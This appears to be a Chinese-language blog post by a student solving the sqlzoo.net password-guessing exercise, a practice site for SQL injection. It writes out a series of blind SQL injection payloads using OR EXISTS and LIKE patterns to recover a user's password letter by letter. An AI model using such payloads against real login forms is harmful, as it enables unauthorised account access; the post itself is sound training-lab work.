Pages

SQL 猜密碼 入門





猜密碼 

http://sqlzoo.net/hack/16password.htm
在這個網站,練習猜 密碼的入門


  1. 首先我想知道這個密碼是幾位數,但是不知道該怎麼辦就徒手猜ㄌ

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '_') AND ''='
一位數 à 答錯
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__') AND ''='
二位數 à 答錯
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '___') AND ''='
三位數 à 答錯
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '____') AND ''='
四位數 à 答錯
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '_____') AND ''='
五位數 à 答錯
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '______') AND ''='
六位數 à 答對了 XDD

  1. 然後想說提示裡的英文字母應該會出現,就來猜一下了

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
密碼裡面有沒有w結果 à 有的哈

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '___w%') AND ''='
密碼裡面的w在第四位嗎結果 à 錯誤,提示也有錯誤,助教小騙子~~
我覺得應該在第三位吧~猜看看

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='
哈哈哈,被我猜中
再來用用另一個提示看看
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%d%') AND ''='
原來在w後面有d~~そうが
那麼d是在第幾位數呢?

   
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%wd%') AND ''='
是相連嗎結果 à 不是

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w_d%') AND ''='
隔一位結果 à 不是

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w__d%') AND ''='
隔兩位結果 à 燈燈燈燈猜對了
W到底是第幾位呢?還有d是第幾位呢?
就每個位置都猜一下
發現w在第三位,d在最後一位,固的

接下來本人又沒有線索了,只好開始瞎猜

' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%a%') AND ''='
密碼中沒有a
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%b%') AND ''='
也沒有b
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%c%') AND ''='
E04,也沒有c
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%e%') AND ''='
嘿嘿,有e固的
然後本人直覺就猜e在第一位,沒錯,人就是要相信自己的直覺
所以目前密碼的線索是e_w__d

繼續上面的瞎猜行為
發現有l
並且猜位置,得知是第二位,固的
所以密碼目前的線索elw__d

繼續瞎猜
發現有o
一猜就中固的 elwo_d
這個時候本人就不想再一個一個猜了,決定亂猜

elword 感覺很對吧 à 沒有 fuck
 elwood à 對了

KAIDLOG

ずっと、俺が捨てられた人 

沒有留言:

張貼留言